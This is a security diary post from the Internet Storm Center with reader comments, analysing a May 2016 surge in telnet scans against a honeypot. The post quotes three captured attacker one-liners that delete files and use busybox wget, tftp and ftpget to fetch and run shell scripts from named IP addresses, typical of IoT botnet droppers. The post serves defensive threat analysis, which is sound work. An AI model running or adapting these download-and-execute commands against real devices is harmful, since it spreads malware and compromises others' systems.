|
Update: I extracted a sample pcap. The target IP (honeypot) is replaced with 192.0.2.1. The odd thing about these connections is that they are not only all "blind", but they don't really send a password. Also, according to my version of Wireshark, the telnet traffic is initially malformed. Maybe a telnet exploit? click here for the pcap file Some readers noted that over the weekend, port 23 scans were up significantly. I just took a quick look at our honeypot, and don't really see anything significantly different, other then the well known fact that if you run a telnet server with default password, you are probably already compromised. Typically, a sharp increase in the number of source IPs indicates some type of worm that uses vulnerable systems to scan for more victims after it infects them. The main target of telnet scans are usually embedded devices. The exploit follows a pretty simple pattern:
The malware is very ephemeral, with the distribution point often being shut down by the time it scans our honeypot. Here are a couple of results from our honeypot, and a few tricks about how to deal with lots of data in pcap files. The first question is: Is this traffic spoofed? As a visual check, we compare the before and after distribution by /8 network. The image shows some deviations, but overall the graphs follow each other and there are no huge discrepancies in RFC1918 networks or other obviously spoofed networks.
Next, lets take a look at telnet payloads with tshark: tshark -r telnet -n -Y 'telnet.data && tcp.len>1' -T fields -e telnet.data | sort | uniq -c | sort -n Here are some of the top commands: ------ ------ cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://149 .56.110.173/bin.sh;sh bin.sh;busybox tftp -r bin2.sh -g 149 .56.110.173;sh bin2.sh;busybox tftp 149 .56.110.173 -c get bin3.sh;sh bin3.sh;busybox ftpget 149 .56.110.173 bin4.sh;sh bin4.sh;exit ------ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://192 .227.221.223/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 192 .227.221.223 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 192 .227.221.223; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 192 .227.221.223 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; ------ cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://208 .67.1.114/rv.sh;sh rv.sh;busybox tftp -r rv1.sh -g 208 .67.1.114;sh rv1.sh;busybox tftp 208 .67.1.114 -c get rv2.sh;sh rv2.sh;busybox ftpget 208 .67.1.114 rv3.sh rv3.sh;sh rv3.sh;exit ------ As you can see, they all follow the standard "pattern".
So in conclusion: Not sure what causes the significant increase, but I doubt that it is anything fundamentally different from what we have seen before. Keep your telnet servers contained (or turned off) and don't use default passwords. --- |
Johannes 3877 Posts ISC Handler May 31st 2016 |
| Subscribe |
May 31st 2016 4 years ago |
|
I'm seeing the same thing over at http://longtail.it.marist.edu/telnet/, a HUGE uptick starting on May 28th. Today's numbers (Link as of May 31st, numbers subject to change) (http://longtail.it.marist.edu/telnet/current-ip-addresses.shtml) show an amazing number of identical login attempts numbers clustered around 140 login attempts per IP address attacking.
My guess is that's school is out and the kids are starting their summer projects. >>Ericw |
EricWedaa 4 Posts |
| Quote |
May 31st 2016 4 years ago |
|
Thanks for the write up Johannes. By way of some interesting extra data:
45% of dropped connections (since my last log rotation) are to port 23. Highest ratio for any port I have ever seen…against my IP space. Number of unique sources to me in current log file is 117495 and rising when posting this article. I did some google-fu… and came up with two interesting current URL’s that may be related… The first is not in english, but google translate helps get one interesting point from their honeypot... https://swehack.org/viewtopic.php?t=1746 > 95% of all attacks are gafgyt or a close relative. And something earlier this year…. http://www.spamfighter.com/News-20200-Remaiten-is-a-New-DDoS-Bot-Targeting-Routers-based-on-Linux.htm Anyway... Interesting to watch from the sidelines from now... |
gregk 2 Posts |
| Quote |
May 31st 2016 4 years ago |
|
Further topics: http://www.nothink.org/honeypot_telnet_urls.txt
Unfortunately I do not have the logs of the last two days due to hardware failure :( |
mc 2 Posts |
| Quote |
Jun 1st 2016 4 years ago |
|
Hi Eric -
I'm relatively new to info sec so pardon the question (I'm going to ask Greg below a similar new-guy question)... but what are you using to get the data collected for your longtail page? I've been looking for a good method to pull that kind of data but nothing's jumping out at me yet. Thanks, I appreciate any suggestions! -Jason |
DotrainExpress 3 Posts |
| Quote |
Jun 1st 2016 4 years ago |
|
Hi Greg -
I'm a newer player to the info sec world so pardon my semi-off topic question: what tool or method are you using to narrow it down to see that 45% of dropped connections are telnet? My FW logging is handy for troubleshooting but I'm sure there has to be a better method (via SIEM or something) to be able to narrow it down that nicely. Any suggestions are appreciated! Thank you! Jason |
DotrainExpress 3 Posts |
| Quote |
Jun 1st 2016 4 years ago |
|
Hi Jason.
My data was not compiled using anything fancy. Raw log file, with some linux commands to count based on a regex... Greg |
gregk 2 Posts |
| Quote |
Jun 2nd 2016 4 years ago |
|
I've been getting telnet bombed for the past couple years, but this past week I'll agree that there has been an uptick. I don't see the typical and simultaneous ping/traceroute attempts from my previous experiences either.
|
Anonymous |
| Quote |
Jun 3rd 2016 4 years ago |
Sign Up for Free or Log In to start participating in the conversation!
